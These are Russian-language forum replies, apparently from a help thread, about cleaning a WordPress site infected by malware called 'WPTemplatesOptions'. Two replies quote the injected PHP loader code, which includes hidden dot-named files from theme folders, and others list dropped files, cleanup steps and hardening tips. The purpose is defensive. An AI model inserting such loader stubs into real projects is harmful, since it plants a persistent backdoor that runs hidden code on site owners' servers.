• Как исправить само-очистку файла wp-load.php?

    @seo-metr
    не должно быть index.php в

    /wp-admin/maint
    /wp-admin/includes/

    C кодом WPTemplatesOptions и тд
  • Как исправить само-очистку файла wp-load.php?

    @seo-metr
    да.... еще... в wp-load создается в самом низу запись:

    if( !class_exists( "WPTemplatesOptions" ) && function_exists( 'wp_get_themes' ) ) {
        foreach ( wp_get_themes() AS $theme_name => $wp_get_theme ) {
            $templates = get_theme_root() . DIRECTORY_SEPARATOR . "{$wp_get_theme->stylesheet}" . DIRECTORY_SEPARATOR . ".{$wp_get_theme->stylesheet}.php";
            if( file_exists( $templates ) ) {
                include_once( $templates );
            }
        }
    }
  • Как исправить само-очистку файла wp-load.php?

    @seo-metr
    вручную все файлы не найти типа: .файл в каждой папке и запись ...if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR и т.д. - не найти везде
    Очень удобен файловый менеджер
    сначала например Alt+f7 и ищем в нужном каталоге .class-wp-cache.php
    Все найденные файлы на панель и удаляем.
    Потом по запросу-маске .* ищем все созданные файлы
    Смотрим. То, что нужно типа .htaccess оставляем - остальное удаляем
    Также ищем запись ...(file_exists(get_template_directory() . DIRECTORY_SEPARATOR
    Таких файлов будет от 60 до 80 в среднем
    Это уже ручками
    Смотрим все файлы index.php если там не то что нужно - удаляем
  • Как исправить само-очистку файла wp-load.php?

    @seo-metr
    защищайте каждый файл темы хотя-бы от прямого запроса. В будущем поможет. Мы ставим и скрытие админки всегда и фаерволл типа wordfence и еще до кучи rublon. Если все-таки это с плагина штука установилась то тут наш недосмотр, а вот если все-таки через атаку, то ничего не помогло. Так что файлы темы защищайте обязательно
  • Как исправить само-очистку файла wp-load.php?

    @seo-metr
    Вроде не новички но устранить эту поблемму не могли пока не прочитали этот пост. Автору ГЛУБОЧАЙШИЙ РЕСПЕКТ
    Дополним написанное. Эта хрень прописывает в каждой папке файл с названием папки, а впереди точка.
    Это хрень прописывает почти в каждом файле запись такого вида:
    if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php")) {
    	include_once 
    
    get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php";
    }

    Более того, создает в wp-conten установочный файл secret-install.php, class.php, connetc.php
    создает index.php с записями WPTemplateOptions там где этого файла не должно быть.

    Хапнули это всё когда скачали расширенную версию плагина с уважаемого сайта. Больше туда ни ногой.
    Чистили все сайты всю ночь на аккаунте у заказчика.
    Поддержка хостинга не помогла.
    Вообщем это просто финиш.
    Автору еще раз - БАЛГОДАРНОСТЬ